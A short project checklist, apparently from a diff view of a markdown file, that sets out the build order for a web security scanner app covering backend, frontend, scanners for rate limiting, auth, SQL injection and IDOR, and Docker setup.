||||||
|
**Estimated Time:** 8-12 hours
|
||||||
|
**Completed:** 0%
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🎯 PRIORITY ORDER (What to Build First)
|
||||||
|
|
||||||
|
1. **Backend Foundation** (config, core, models, schemas)
|
||||||
|
2. **Backend Repositories & Services** (data + business logic)
|
||||||
|
3. **Backend Routes** (API endpoints)
|
||||||
|
4. **One Scanner** (rate limit - simplest)
|
||||||
|
5. **Frontend Foundation** (config, types, services)
|
||||||
|
6. **Frontend Auth** (login/register pages)
|
||||||
|
7. **Frontend Scan Page** (form + results)
|
||||||
|
8. **Remaining Scanners** (auth, SQLi, IDOR)
|
||||||
|
9. **Docker Setup** (get everything running together)
|
||||||
|
10. **Testing & Polish** (tests, docs, final touches)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Last Updated:** 2025-11-08
|
||||||
|
**Current Phase:** Setup
|
||||||
Loading…
Reference in New Issue